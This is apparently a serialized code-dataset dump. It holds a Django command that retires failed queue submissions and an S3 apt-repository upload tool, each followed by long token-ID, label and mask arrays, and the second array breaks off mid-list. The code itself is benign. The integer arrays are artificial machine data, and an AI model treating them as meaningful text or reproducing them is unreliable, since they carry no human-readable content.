import logging from django.conf import settings from django.core.management.base import BaseCommand from submission_queue.consumer import post_failure_to_lms from submission_queue.models import Submission log = logging.getLogger(__name__) class Command(BaseCommand): help = """ Retire submissions that have more than settings.MAX_NUMBER_OF_FAILURES failures.\ Notify the LMS/student that the queue will no longer attempt to process the submission.\ Optional <queue_name> - no queue name provided means all queues will be processed. """ def add_arguments(self, parser): parser.add_argument('queue_name', nargs='*') parser.add_argument( '-f', '--force', action='store_true', dest='force', default=False, help='Force retire submissions', ) def handle(self, *args, **options): log.info(' [*] Scanning Submission database to retire failed submissions...') force = options['force'] if force: log.info(" [ ] Force retiring all failed submissions...") queue_names = options['queue_name'] if len(queue_names) == 0: failed_submissions = Submission.objects.filter(retired=False) failed_submissions = failed_submissions.exclude(num_failures=0) self.retire_submissions(failed_submissions, force) else: for queue_name in queue_names: failed_submissions = Submission.objects.filter(queue_name=queue_name, retired=False) failed_submissions = failed_submissions.exclude(num_failures=0) self.retire_submissions(failed_submissions, force) def retire_submissions(self, failed_submissions, force): for failed_submission in failed_submissions: if failed_submission.num_failures >= settings.MAX_NUMBER_OF_FAILURES: log.info(" [ ] Retiring submission id=%d from queue '%s' with num_failures=%d" % (failed_submission.id, failed_submission.queue_name, failed_submission.num_failures)) if force: failed_submission.retired = True # Mark as done without contacting LMS else: failed_submission.lms_ack = post_failure_to_lms(failed_submission.xqueue_header) failed_submission.retired = failed_submission.lms_ack if not failed_submission.lms_ack: log.error(' [ ] Could not contact LMS to retire submission id=%d' % failed_submission.id) failed_submission.save()
agpl-3.0
[ 646, 2050, 199, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1018, 14, 8110, 14, 1095, 492, 22239, 199, 199, 504, 13071, 63, 1825, 14, 8542, 492, 2963, 63, 5328, 63, 475, 63, 15807, 199, 504, 13071, 63, 1825, 14, 992, 492, 4804, 2250, 199, 199, 793, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 533, 5817, 8, 25150, 304, 272, 1720, 275, 408, 1779, 799, 7261, 30399, 626, 1172, 1655, 2419, 2202, 14, 4283, 63, 9190, 63, 3359, 63, 8784, 10799, 9081, 3134, 1779, 31949, 314, 27540, 15, 5500, 626, 314, 4126, 911, 949, 8088, 7427, 370, 2112, 314, 13071, 3134, 1779, 4879, 665, 1825, 63, 354, 30, 446, 949, 4126, 536, 2741, 4910, 1006, 21366, 911, 506, 7686, 14, 1779, 408, 339, 347, 1050, 63, 4958, 8, 277, 12, 1798, 304, 267, 1798, 14, 525, 63, 2094, 360, 1825, 63, 354, 297, 9237, 534, 13418, 267, 1798, 14, 525, 63, 2094, 8, 288, 2475, 70, 297, 2850, 3990, 297, 288, 1595, 534, 1617, 63, 2052, 297, 288, 2053, 534, 3990, 297, 288, 849, 29, 797, 12, 288, 1720, 534, 13606, 295, 7261, 30399, 297, 267, 776, 339, 347, 2429, 8, 277, 12, 627, 589, 12, 1011, 1419, 304, 267, 943, 14, 815, 360, 359, 30431, 13916, 11495, 4804, 2250, 3050, 370, 295, 7261, 3405, 30399, 15103, 398, 3542, 275, 1511, 459, 3990, 418, 267, 340, 3542, 26, 288, 943, 14, 815, 480, 359, 1622, 18771, 295, 280, 5985, 1006, 3405, 30399, 12594, 398, 4126, 63, 1247, 275, 1511, 459, 1825, 63, 354, 418, 267, 340, 822, 8, 1825, 63, 1247, 9, 508, 378, 26, 288, 3405, 63, 29752, 275, 4804, 2250, 14, 1462, 14, 1541, 8, 264, 280, 581, 29, 797, 9, 288, 3405, 63, 29752, 275, 3405, 63, 29752, 14, 5473, 8, 1507, 63, 9968, 29, 16, 9, 288, 291, 14, 264, 7261, 63, 29752, 8, 4892, 63, 29752, 12, 3542, 9, 267, 587, 26, 288, 367, 4126, 63, 354, 315, 4126, 63, 1247, 26, 355, 3405, 63, 29752, 275, 4804, 2250, 14, 1462, 14, 1541, 8, 1825, 63, 354, 29, 1825, 63, 354, 12, 295, 280, 581, 29, 797, 9, 355, 3405, 63, 29752, 275, 3405, 63, 29752, 14, 5473, 8, 1507, 63, 9968, 29, 16, 9, 355, 291, 14, 264, 7261, 63, 29752, 8, 4892, 63, 29752, 12, 3542, 9, 339, 347, 295, 7261, 63, 29752, 8, 277, 12, 3405, 63, 29752, 12, 3542, 304, 267, 367, 3405, 63, 12542, 315, 3405, 63, 29752, 26, 288, 340, 3405, 63, 12542, 14, 1507, 63, 9968, 2356, 2202, 14, 4283, 63, 9190, 63, 3359, 63, 8784, 10799, 26, 355, 943, 14, 815, 480, 359, 1622, 799, 280, 5985, 13071, 1305, 2458, 68, 687, 4126, 1543, 83, 7, 543, 1967, 63, 9968, 2458, 68, 2, 450, 586, 334, 4892, 63, 12542, 14, 344, 12, 3405, 63, 12542, 14, 1825, 63, 354, 12, 3405, 63, 12542, 14, 1507, 63, 9968, 430, 355, 340, 3542, 26, 490, 3405, 63, 12542, 14, 264, 280, 581, 275, 715, 221, 327, 7173, 465, 4224, 1928, 8966, 316, 27540, 355, 587, 26, 490, 3405, 63, 12542, 14, 15807, 63, 564, 275, 2963, 63, 5328, 63, 475, 63, 15807, 8, 4892, 63, 12542, 14, 88, 1825, 63, 1291, 9, 490, 3405, 63, 12542, 14, 264, 280, 581, 275, 3405, 63, 12542, 14, 15807, 63, 564, 490, 340, 440, 3405, 63, 12542, 14, 15807, 63, 564, 26, 717, 943, 14, 705, 360, 359, 1622, 18615, 440, 8966, 27540, 370, 295, 7261, 13071, 1305, 2458, 68, 7, 450, 3405, 63, 12542, 14, 344, 9, 355, 3405, 63, 12542, 14, 2117, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2050, 199, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1018, 14, 8110, 14, 1095, 492, 22239, 199, 199, 504, 13071, 63, 1825, 14, 8542, 492, 2963, 63, 5328, 63, 475, 63, 15807, 199, 504, 13071, 63, 1825, 14, 992, 492, 4804, 2250, 199, 199, 793, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 533, 5817, 8, 25150, 304, 272, 1720, 275, 408, 1779, 799, 7261, 30399, 626, 1172, 1655, 2419, 2202, 14, 4283, 63, 9190, 63, 3359, 63, 8784, 10799, 9081, 3134, 1779, 31949, 314, 27540, 15, 5500, 626, 314, 4126, 911, 949, 8088, 7427, 370, 2112, 314, 13071, 3134, 1779, 4879, 665, 1825, 63, 354, 30, 446, 949, 4126, 536, 2741, 4910, 1006, 21366, 911, 506, 7686, 14, 1779, 408, 339, 347, 1050, 63, 4958, 8, 277, 12, 1798, 304, 267, 1798, 14, 525, 63, 2094, 360, 1825, 63, 354, 297, 9237, 534, 13418, 267, 1798, 14, 525, 63, 2094, 8, 288, 2475, 70, 297, 2850, 3990, 297, 288, 1595, 534, 1617, 63, 2052, 297, 288, 2053, 534, 3990, 297, 288, 849, 29, 797, 12, 288, 1720, 534, 13606, 295, 7261, 30399, 297, 267, 776, 339, 347, 2429, 8, 277, 12, 627, 589, 12, 1011, 1419, 304, 267, 943, 14, 815, 360, 359, 30431, 13916, 11495, 4804, 2250, 3050, 370, 295, 7261, 3405, 30399, 15103, 398, 3542, 275, 1511, 459, 3990, 418, 267, 340, 3542, 26, 288, 943, 14, 815, 480, 359, 1622, 18771, 295, 280, 5985, 1006, 3405, 30399, 12594, 398, 4126, 63, 1247, 275, 1511, 459, 1825, 63, 354, 418, 267, 340, 822, 8, 1825, 63, 1247, 9, 508, 378, 26, 288, 3405, 63, 29752, 275, 4804, 2250, 14, 1462, 14, 1541, 8, 264, 280, 581, 29, 797, 9, 288, 3405, 63, 29752, 275, 3405, 63, 29752, 14, 5473, 8, 1507, 63, 9968, 29, 16, 9, 288, 291, 14, 264, 7261, 63, 29752, 8, 4892, 63, 29752, 12, 3542, 9, 267, 587, 26, 288, 367, 4126, 63, 354, 315, 4126, 63, 1247, 26, 355, 3405, 63, 29752, 275, 4804, 2250, 14, 1462, 14, 1541, 8, 1825, 63, 354, 29, 1825, 63, 354, 12, 295, 280, 581, 29, 797, 9, 355, 3405, 63, 29752, 275, 3405, 63, 29752, 14, 5473, 8, 1507, 63, 9968, 29, 16, 9, 355, 291, 14, 264, 7261, 63, 29752, 8, 4892, 63, 29752, 12, 3542, 9, 339, 347, 295, 7261, 63, 29752, 8, 277, 12, 3405, 63, 29752, 12, 3542, 304, 267, 367, 3405, 63, 12542, 315, 3405, 63, 29752, 26, 288, 340, 3405, 63, 12542, 14, 1507, 63, 9968, 2356, 2202, 14, 4283, 63, 9190, 63, 3359, 63, 8784, 10799, 26, 355, 943, 14, 815, 480, 359, 1622, 799, 280, 5985, 13071, 1305, 2458, 68, 687, 4126, 1543, 83, 7, 543, 1967, 63, 9968, 2458, 68, 2, 450, 586, 334, 4892, 63, 12542, 14, 344, 12, 3405, 63, 12542, 14, 1825, 63, 354, 12, 3405, 63, 12542, 14, 1507, 63, 9968, 430, 355, 340, 3542, 26, 490, 3405, 63, 12542, 14, 264, 280, 581, 275, 715, 221, 327, 7173, 465, 4224, 1928, 8966, 316, 27540, 355, 587, 26, 490, 3405, 63, 12542, 14, 15807, 63, 564, 275, 2963, 63, 5328, 63, 475, 63, 15807, 8, 4892, 63, 12542, 14, 88, 1825, 63, 1291, 9, 490, 3405, 63, 12542, 14, 264, 280, 581, 275, 3405, 63, 12542, 14, 15807, 63, 564, 490, 340, 440, 3405, 63, 12542, 14, 15807, 63, 564, 26, 717, 943, 14, 705, 360, 359, 1622, 18615, 440, 8966, 27540, 370, 295, 7261, 13071, 1305, 2458, 68, 7, 450, 3405, 63, 12542, 14, 344, 9, 355, 3405, 63, 12542, 14, 2117, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
JamieCressey/apt-s3
apts3/__init__.py
1
6562
# Copyright 2016 Jamie Cressey # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os.path import boto3 import botocore.exceptions import logging import sys import json import pwd import os import apt.resources from datetime import datetime, timedelta from time import sleep __author__ = 'Jamie Cressey' __version__ = '0.9.0' class AptS3(object): def __init__(self, args): self.log = self._logger() self.args = args self.debs = args.files.split() if args.action == 'upload': self.upload_debs() elif args.action == 'delete': self.delete_debs() else: self.log.error('Unknown command: {}'.format(args.action)) def _logger(self): log = logging.getLogger('apt-s3') log.setLevel(logging.INFO) handler = logging.StreamHandler(sys.stdout) handler.setFormatter( logging.Formatter( '%(asctime)s %(levelname)-8s %(name)s: %(message)s', '%Y-%m-%d %H:%M:%S')) log.addHandler(handler) return log def _s3_conn(self): boto3.setup_default_session( profile_name=self.args.profile, region_name=self.args.region) self.s3 = boto3.client('s3') def _check_debs_exist(self, deb): if not os.path.isfile(deb): self.log.error('File {0} doesn\'t exist'.format(deb)) exit(1) def _check_lock(self, arch): if self.args.lock: lockfile = 'dists/{0}/{1}/binary-{2}/apts3_lockfile'.format( self.args.codename, self.args.component, arch) ts_now = datetime.utcnow() ts_stop = ts_now + timedelta(seconds=self.args.lock_timeout) while ts_now < ts_stop: try: lock = self.s3.get_object( Bucket=self.args.bucket, Key=lockfile) lock_body = json.loads(lock['Body'].read()) self.log.info( "Repository is locked by another user: {0}@{1}".format( lock_body['user'], lock_body['host'])) ts_now = datetime.utcnow() ts_lock = lock['LastModified'].replace(tzinfo=None) ts_diff = ts_now - ts_lock if ts_diff.seconds > self.args.lock_timeout: self.log.error( 'Repository lock is too old: {}. Please investigate.'.format(ts_diff)) exit(1) sleep(10) except botocore.exceptions.ClientError as e: if e.response['Error']['Code'] == 'NoSuchKey': break else: raise self.log.info("Attempting to obtain a lock") lock_body = json.dumps({ "user": pwd.getpwuid(os.getuid()).pw_name, "host": os.uname()[1] }) self.s3.put_object( Body=lock_body, Bucket=self.args.bucket, Key=lockfile) self.log.info("Locked repository for updates") def _delete_lock(self, arch): if self.args.lock: self.log.info('Removing lockfile') lockfile = 'dists/{0}/{1}/binary-{2}/apts3_lockfile'.format( self.args.codename, self.args.component, arch) self.s3.delete_object( Bucket=self.args.bucket, Key=lockfile) def _parse_manifest(self, arch): self.manifests[arch] = apt.resources.Manifest( bucket=self.args.bucket, codename=self.args.codename, component=self.args.component, architecture=arch, visibility=self.args.visibility, s3=self.s3) def _parse_package(self, deb): self.log.info("Examining package file {}".format(deb)) pkg = apt.resources.Package(deb) if self.args.arch: arch = self.args.arch elif pkg.architecture: arch = pkg.architecture else: self.log.error( "No architcture given and unable to determine one for {0}. Please specify one with --arch [i386|amd64].".format(deb)) exit(1) if arch == 'all' and len(self.manifests) == 0: self.log.error( 'Package {0} had architecture "all" however noexisting package lists exist. This can often happen if the first package you are add to a new repository is an "all" architecture file. Please use --arch [i386|amd64] or another platform type to upload the file.'.format(deb)) exit(1) if arch not in self.manifests: self._parse_manifest(arch) self.manifests[arch].add(pkg) if arch == 'all': self.packages_arch_all.append(pkg) def _update_manifests(self): for arch, manifest in self.manifests.iteritems(): if arch == 'all': continue for pkg in self.packages_arch_all: manifest.add(pkg) def _upload_manifests(self): self.log.info('Uploading packages and new manifests to S3') for arch, manifest in self.manifests.iteritems(): self._check_lock(arch) manifest.write_to_s3() self.release.update_manifest(manifest) self.log.info('Update complete.') self._delete_lock(arch) def upload_debs(self): if not self.debs: self.log.error('You must specify at least one file to upload') exit(1) map(self._check_debs_exist, self.debs) self._s3_conn() self.log.info("Retrieving existing manifests") self.release = apt.resources.Release(self.args) self.manifests = {} map(self._parse_manifest, self.release['architectures']) self.packages_arch_all = [] map(self._parse_package, self.debs)
apache-2.0
[ 3, 257, 1898, 7800, 1603, 455, 1873, 445, 470, 261, 89, 199, 3, 199, 3, 257, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 257, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 257, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 755, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 257, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 257, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 257, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 257, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 257, 4204, 1334, 314, 844, 14, 199, 199, 646, 747, 14, 515, 199, 646, 6055, 19, 199, 646, 21199, 14, 3924, 199, 646, 2050, 199, 646, 984, 199, 646, 2022, 199, 646, 14374, 199, 646, 747, 199, 646, 20932, 14, 4435, 199, 504, 2197, 492, 2197, 12, 6871, 199, 504, 900, 492, 9435, 421, 199, 363, 2502, 363, 275, 283, 42, 455, 1873, 445, 470, 261, 89, 7, 199, 363, 1023, 363, 275, 283, 16, 14, 25, 14, 16, 7, 421, 199, 533, 437, 541, 51, 19, 8, 785, 304, 339, 347, 636, 826, 721, 277, 12, 1249, 304, 267, 291, 14, 793, 275, 291, 423, 2921, 342, 267, 291, 14, 589, 275, 1249, 267, 291, 14, 271, 1533, 275, 1249, 14, 1725, 14, 1294, 342, 398, 340, 1249, 14, 1287, 508, 283, 5064, 356, 288, 291, 14, 5064, 63, 271, 1533, 342, 267, 916, 1249, 14, 1287, 508, 283, 1807, 356, 288, 291, 14, 1807, 63, 271, 1533, 342, 267, 587, 26, 288, 291, 14, 793, 14, 705, 360, 5912, 1414, 26, 9499, 908, 8, 589, 14, 1287, 430, 339, 347, 485, 2921, 8, 277, 304, 267, 943, 275, 2050, 14, 5572, 360, 6182, 13, 83, 19, 358, 267, 943, 14, 13548, 8, 4806, 14, 4531, 9, 267, 3016, 275, 2050, 14, 22482, 8, 1274, 14, 2703, 9, 267, 3016, 14, 26076, 8, 288, 2050, 14, 7772, 8, 355, 9487, 18331, 9, 83, 2818, 20056, 7216, 24, 83, 2818, 354, 9, 83, 26, 2818, 1188, 9, 83, 297, 355, 1543, 57, 3295, 77, 3295, 68, 450, 40, 2689, 45, 2689, 51, 1333, 267, 943, 14, 18826, 8, 2232, 9, 398, 372, 943, 339, 347, 485, 83, 19, 63, 1631, 8, 277, 304, 267, 6055, 19, 14, 2758, 63, 885, 63, 1730, 8, 288, 4690, 63, 354, 29, 277, 14, 589, 14, 2913, 12, 288, 4897, 63, 354, 29, 277, 14, 589, 14, 4551, 9, 398, 291, 14, 83, 19, 275, 6055, 19, 14, 1258, 360, 83, 19, 358, 339, 347, 485, 1074, 63, 271, 1533, 63, 4494, 8, 277, 12, 32610, 304, 267, 340, 440, 747, 14, 515, 14, 6292, 8, 16762, 304, 288, 291, 14, 793, 14, 705, 360, 1173, 469, 16, 93, 3181, 3985, 84, 2187, 1370, 908, 8, 16762, 430, 288, 4458, 8, 17, 9, 339, 347, 485, 1074, 63, 831, 8, 277, 12, 3819, 304, 267, 340, 291, 14, 589, 14, 831, 26, 288, 4650, 493, 275, 283, 18552, 5321, 16, 16152, 17, 5995, 3008, 24185, 18, 5995, 439, 1086, 19, 63, 26204, 1370, 908, 8, 355, 291, 14, 589, 14, 11879, 12, 291, 14, 589, 14, 3173, 12, 3819, 9, 953, 6714, 63, 2131, 275, 2197, 14, 10779, 342, 288, 6714, 63, 2379, 275, 6714, 63, 2131, 435, 6871, 8, 4515, 29, 277, 14, 589, 14, 831, 63, 2593, 9, 953, 1830, 6714, 63, 2131, 665, 6714, 63, 2379, 26, 355, 862, 26, 490, 4650, 275, 291, 14, 83, 19, 14, 362, 63, 785, 8, 717, 31479, 29, 277, 14, 589, 14, 4623, 12, 717, 2606, 29, 26204, 9, 4951, 4650, 63, 2030, 275, 2022, 14, 3640, 8, 831, 459, 8173, 2278, 739, 1012, 490, 291, 14, 793, 14, 815, 8, 717, 298, 15614, 365, 14233, 701, 4573, 922, 26, 469, 16, 93, 32, 91, 17, 5469, 908, 8, 1169, 4650, 63, 2030, 459, 751, 995, 4650, 63, 2030, 459, 1102, 5156, 4951, 6714, 63, 2131, 275, 2197, 14, 10779, 342, 490, 6714, 63, 831, 275, 4650, 459, 6090, 11911, 2278, 1814, 8, 9374, 29, 403, 9, 490, 6714, 63, 3028, 275, 6714, 63, 2131, 446, 6714, 63, 831, 490, 340, 6714, 63, 3028, 14, 4515, 690, 291, 14, 589, 14, 831, 63, 2593, 26, 717, 291, 14, 793, 14, 705, 8, 1169, 283, 15614, 4650, 365, 4634, 2269, 26, 30332, 7754, 315, 27174, 323, 17374, 908, 8, 1086, 63, 3028, 430, 717, 4458, 8, 17, 9, 4951, 9435, 8, 709, 9, 2234, 871, 21199, 14, 3924, 14, 19992, 465, 325, 26, 490, 340, 325, 14, 1310, 459, 547, 2545, 3034, 418, 508, 283, 30049, 1197, 356, 717, 2059, 490, 587, 26, 717, 746, 953, 291, 14, 793, 14, 815, 480, 15322, 1337, 370, 3332, 282, 4650, 531, 288, 4650, 63, 2030, 275, 2022, 14, 4180, 2561, 355, 298, 751, 582, 14374, 14, 362, 8796, 1535, 8, 736, 14, 362, 1535, 8801, 8796, 63, 354, 12, 355, 298, 1102, 582, 747, 14, 16040, 3430, 17, 61, 288, 3828, 953, 291, 14, 83, 19, 14, 524, 63, 785, 8, 355, 29665, 29, 831, 63, 2030, 12, 355, 31479, 29, 277, 14, 589, 14, 4623, 12, 355, 2606, 29, 26204, 9, 288, 291, 14, 793, 14, 815, 480, 22408, 7611, 367, 7029, 531, 339, 347, 485, 1807, 63, 831, 8, 277, 12, 3819, 304, 267, 340, 291, 14, 589, 14, 831, 26, 288, 291, 14, 793, 14, 815, 360, 23420, 4650, 493, 358, 288, 4650, 493, 275, 283, 18552, 5321, 16, 16152, 17, 5995, 3008, 24185, 18, 5995, 439, 1086, 19, 63, 26204, 1370, 908, 8, 355, 291, 14, 589, 14, 11879, 12, 291, 14, 589, 14, 3173, 12, 3819, 9, 288, 291, 14, 83, 19, 14, 1807, 63, 785, 8, 355, 31479, 29, 277, 14, 589, 14, 4623, 12, 355, 2606, 29, 26204, 9, 339, 347, 485, 1122, 63, 6418, 8, 277, 12, 3819, 304 ]
